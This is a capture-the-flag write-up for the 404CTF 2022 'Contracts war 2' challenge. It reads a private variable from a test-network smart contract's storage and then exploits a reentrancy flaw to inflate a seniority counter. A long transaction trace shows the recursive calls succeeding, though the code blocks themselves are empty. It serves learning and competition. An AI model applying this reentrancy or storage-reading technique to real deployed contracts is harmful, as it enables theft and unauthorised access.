Writeup 404CTF 2022 - Contracts war 2 (web3)
Statement
The challenge statement is as follows:
Agent, now that you have a little more web3 expertise, we would like to call upon your skills in a more delicate situation. We have detected traces of suspicious activity at the address 0xD5c0873f147cECF336fEEF1a28474716C745Df86. Hallebarde is apparently trying to create its own cryptocurrency. Also, it seems that the oldest members of Hedgehog can get some kind of VIP pass. Use this pass to get information only known by the elite of Halberd.
Contract at: 0xD5c0873f147cECF336fEEF1a28474716C745Df86
Ropsten test network
Author: Soremo
nc challenge.404ctf.fr 30885
The source code of the smart contract is given:
|
|
Comment has been added on the function that will be exploited.
Exploitation
VipPass
By seeing this contract, the goal was pretty clear. We want to get the vip pass. One thing that should never be forgotten in solidity:
Nothing is private in smart contracts!
The public variable can be accessed easly with call instruction. In other hand, the private variable can be accessed only with the function rpc function eth_getStorageAt
(the name may be different depending of the client). The slot storage are explains in depth in soliditylang.
Basically, compare to other types, uint256 is easy to understand. Its position slot is the position of the declared variable (note that the mapping does not count). In our case uint256 private vipPass;
is at position 4, the variable boss
(the owner of the contract) is at position 5.
To access the variable vipPass
, we will use cast from the foundry binaries:
|
|
The function senior()
returns the vipPass as an uint256
value. The cast storage
command returns the value as a hexadecimal string. We can either use an online converter or solidity (with foundry dependencies).
|
|
This contract can be executed with the forge
command:
|
|
Unfortunately, the vipPass is not the only thing that is required, we need to have an address that is VIP:
|
|
Pwning the contract
To get VIP we have to pass two requires: require(seniority[msg.sender] >= 10 * 365 days, "Revenez dans quelque temps.");
and require(seniority[msg.sender] < 150 * 365 days, "Vous vous faites vieux, laissez-nous la place.");
.
The only function that update the seniroity mapping is function sellHLB(uint256 numTokens)
. This function can only be called once a year and if we have already some HLB tokens. Before updating the lastWithdrawTime
variable to restrict the call to that function, the fallback to our contract is called, which can call the sellHLB(uint256 numTokens)
function. In other words, we can call the function sellHLB(uint256 numTokens)
multiple times before the lastWithdrawTime
function is updated, this is a reentrency attack!
|
|
Running the above script with forge:
|
|
returns the following output:
[⠒] Compiling... [⠢] Compiling 6 files with 0.8.13 [⠰] Solc 0.8.13 finished in 2.02s Compiler run successful Traces: [278997] TokenTest::pwn() ├─ [28455] 0xd5c0…df86::dbd6bdcb{value: 12}() │ └─ ← () ├─ [234688] 0xd5c0…df86::d16bb868(0000000000000000000000000000000000000000000000000000000000000001) │ ├─ emit topic 0: 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef │ │ topic 1: 0x000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84 │ │ topic 2: 0x000000000000000000000000d5c0873f147cecf336feef1a28474716c745df86 │ │ data: 0x0000000000000000000000000000000000000000000000000000000000000001 │ ├─ [198085] TokenTest::fallback{value: 1}() │ │ ├─ [908] 0xd5c0…df86::3b26d8d2(000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84) [staticcall] │ │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000001e13380 │ │ ├─ emit log_named_uint(key: "seniority", val: 1) │ │ ├─ [171914] 0xd5c0…df86::d16bb868(0000000000000000000000000000000000000000000000000000000000000001) │ │ │ ├─ emit topic 0: 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef │ │ │ │ topic 1: 0x000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84 │ │ │ │ topic 2: 0x000000000000000000000000d5c0873f147cecf336feef1a28474716c745df86 │ │ │ │ data: 0x0000000000000000000000000000000000000000000000000000000000000001 │ │ │ ├─ [159211] TokenTest::fallback{value: 1}() │ │ │ │ ├─ [908] 0xd5c0…df86::3b26d8d2(000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84) [staticcall] │ │ │ │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000003c26700 │ │ │ │ ├─ emit log_named_uint(key: "seniority", val: 2) │ │ │ │ ├─ [154940] 0xd5c0…df86::d16bb868(0000000000000000000000000000000000000000000000000000000000000001) │ │ │ │ │ ├─ emit topic 0: 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef │ │ │ │ │ │ topic 1: 0x000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84 │ │ │ │ │ │ topic 2: 0x000000000000000000000000d5c0873f147cecf336feef1a28474716c745df86 │ │ │ │ │ │ data: 0x0000000000000000000000000000000000000000000000000000000000000001 │ │ │ │ │ ├─ [142237] TokenTest::fallback{value: 1}() │ │ │ │ │ │ ├─ [908] 0xd5c0…df86::3b26d8d2(000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84) [staticcall] │ │ │ │ │ │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000005a39a80 │ │ │ │ │ │ ├─ emit log_named_uint(key: "seniority", val: 3) │ │ │ │ │ │ ├─ [137966] 0xd5c0…df86::d16bb868(0000000000000000000000000000000000000000000000000000000000000001) │ │ │ │ │ │ │ ├─ emit topic 0: 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef │ │ │ │ │ │ │ │ topic 1: 0x000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84 │ │ │ │ │ │ │ │ topic 2: 0x000000000000000000000000d5c0873f147cecf336feef1a28474716c745df86 │ │ │ │ │ │ │ │ data: 0x0000000000000000000000000000000000000000000000000000000000000001 │ │ │ │ │ │ │ ├─ [125263] TokenTest::fallback{value: 1}() │ │ │ │ │ │ │ │ ├─ [908] 0xd5c0…df86::3b26d8d2(000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84) [staticcall] │ │ │ │ │ │ │ │ │ └─ ← 0x000000000000000000000000000000000000000000000000000000000784ce00 │ │ │ │ │ │ │ │ ├─ emit log_named_uint(key: "seniority", val: 4) │ │ │ │ │ │ │ │ ├─ [120992] 0xd5c0…df86::d16bb868(0000000000000000000000000000000000000000000000000000000000000001) │ │ │ │ │ │ │ │ │ ├─ emit topic 0: 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef │ │ │ │ │ │ │ │ │ │ topic 1: 0x000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84 │ │ │ │ │ │ │ │ │ │ topic 2: 0x000000000000000000000000d5c0873f147cecf336feef1a28474716c745df86 │ │ │ │ │ │ │ │ │ │ data: 0x0000000000000000000000000000000000000000000000000000000000000001 │ │ │ │ │ │ │ │ │ ├─ [108289] TokenTest::fallback{value: 1}() │ │ │ │ │ │ │ │ │ │ ├─ [908] 0xd5c0…df86::3b26d8d2(000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84) [staticcall] │ │ │ │ │ │ │ │ │ │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000009660180 │ │ │ │ │ │ │ │ │ │ ├─ emit log_named_uint(key: "seniority", val: 5) │ │ │ │ │ │ │ │ │ │ ├─ [104018] 0xd5c0…df86::d16bb868(0000000000000000000000000000000000000000000000000000000000000001) │ │ │ │ │ │ │ │ │ │ │ ├─ emit topic 0: 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef │ │ │ │ │ │ │ │ │ │ │ │ topic 1: 0x000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84 │ │ │ │ │ │ │ │ │ │ │ │ topic 2: 0x000000000000000000000000d5c0873f147cecf336feef1a28474716c745df86 │ │ │ │ │ │ │ │ │ │ │ │ data: 0x0000000000000000000000000000000000000000000000000000000000000001 │ │ │ │ │ │ │ │ │ │ │ ├─ [91315] TokenTest::fallback{value: 1}() │ │ │ │ │ │ │ │ │ │ │ │ ├─ [908] 0xd5c0…df86::3b26d8d2(000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84) [staticcall] │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← 0x000000000000000000000000000000000000000000000000000000000b473500 │ │ │ │ │ │ │ │ │ │ │ │ ├─ emit log_named_uint(key: "seniority", val: 6) │ │ │ │ │ │ │ │ │ │ │ │ ├─ [87044] 0xd5c0…df86::d16bb868(0000000000000000000000000000000000000000000000000000000000000001) │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ emit topic 0: 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef │ │ │ │ │ │ │ │ │ │ │ │ │ │ topic 1: 0x000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84 │ │ │ │ │ │ │ │ │ │ │ │ │ │ topic 2: 0x000000000000000000000000d5c0873f147cecf336feef1a28474716c745df86 │ │ │ │ │ │ │ │ │ │ │ │ │ │ data: 0x0000000000000000000000000000000000000000000000000000000000000001 │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ [74341] TokenTest::fallback{value: 1}() │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ [908] 0xd5c0…df86::3b26d8d2(000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84) [staticcall] │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← 0x000000000000000000000000000000000000000000000000000000000d286880 │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ emit log_named_uint(key: "seniority", val: 7) │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ [70070] 0xd5c0…df86::d16bb868(0000000000000000000000000000000000000000000000000000000000000001) │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ emit topic 0: 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ topic 1: 0x000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84 │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ topic 2: 0x000000000000000000000000d5c0873f147cecf336feef1a28474716c745df86 │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ data: 0x0000000000000000000000000000000000000000000000000000000000000001 │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ [57367] TokenTest::fallback{value: 1}() │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ [908] 0xd5c0…df86::3b26d8d2(000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84) [staticcall] │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← 0x000000000000000000000000000000000000000000000000000000000f099c00 │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ emit log_named_uint(key: "seniority", val: 8) │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ [53096] 0xd5c0…df86::d16bb868(0000000000000000000000000000000000000000000000000000000000000001) │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ emit topic 0: 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ topic 1: 0x000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84 │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ topic 2: 0x000000000000000000000000d5c0873f147cecf336feef1a28474716c745df86 │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ data: 0x0000000000000000000000000000000000000000000000000000000000000001 │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ [40393] TokenTest::fallback{value: 1}() │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ [908] 0xd5c0…df86::3b26d8d2(000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84) [staticcall] │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000010eacf80 │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ emit log_named_uint(key: "seniority", val: 9) │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ [36122] 0xd5c0…df86::d16bb868(0000000000000000000000000000000000000000000000000000000000000001) │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ emit topic 0: 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ topic 1: 0x000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84 │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ topic 2: 0x000000000000000000000000d5c0873f147cecf336feef1a28474716c745df86 │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ data: 0x0000000000000000000000000000000000000000000000000000000000000001 │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ [3519] TokenTest::fallback{value: 1}() │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ [908] 0xd5c0…df86::3b26d8d2(000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84) [staticcall] │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000012cc0300 │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ emit log_named_uint(key: "seniority", val: 10) │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← () │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← () │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← () │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← () │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← () │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← () │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← () │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← () │ │ │ │ │ │ │ │ │ │ │ │ └─ ← () │ │ │ │ │ │ │ │ │ │ │ └─ ← () │ │ │ │ │ │ │ │ │ │ └─ ← () │ │ │ │ │ │ │ │ │ └─ ← () │ │ │ │ │ │ │ │ └─ ← () │ │ │ │ │ │ │ └─ ← () │ │ │ │ │ │ └─ ← () │ │ │ │ │ └─ ← () │ │ │ │ └─ ← () │ │ │ └─ ← () │ │ └─ ← () │ └─ ← () ├─ [2952] 0xd5c0…df86::f15086e5() [staticcall] │ └─ ← 0x54be6df4fa514940682be41f9a5a04ecc45bb46877adcd1fa4db82c08d1bd080 └─ ← ()Script ran successfully.
Gas used: 278997
== Return == == Logs ==
seniority: 1
seniority: 2
seniority: 3
seniority: 4
seniority: 5
seniority: 6
seniority: 7
seniority: 8 seniority: 9
seniority: 10
This output is typical of a reentrancy attack.
The final step is to deploy our contract to the ropsten blockchain and execute the pwn function. While deploying, ether has to be sent to the contract.
|
|
The function pwn can then be called.
|
|
The attack is successful and the seniority
variable has been updated multiple times before the lastWithdrawTime
got updated.
We can now validate the challenge by specifying our contract address.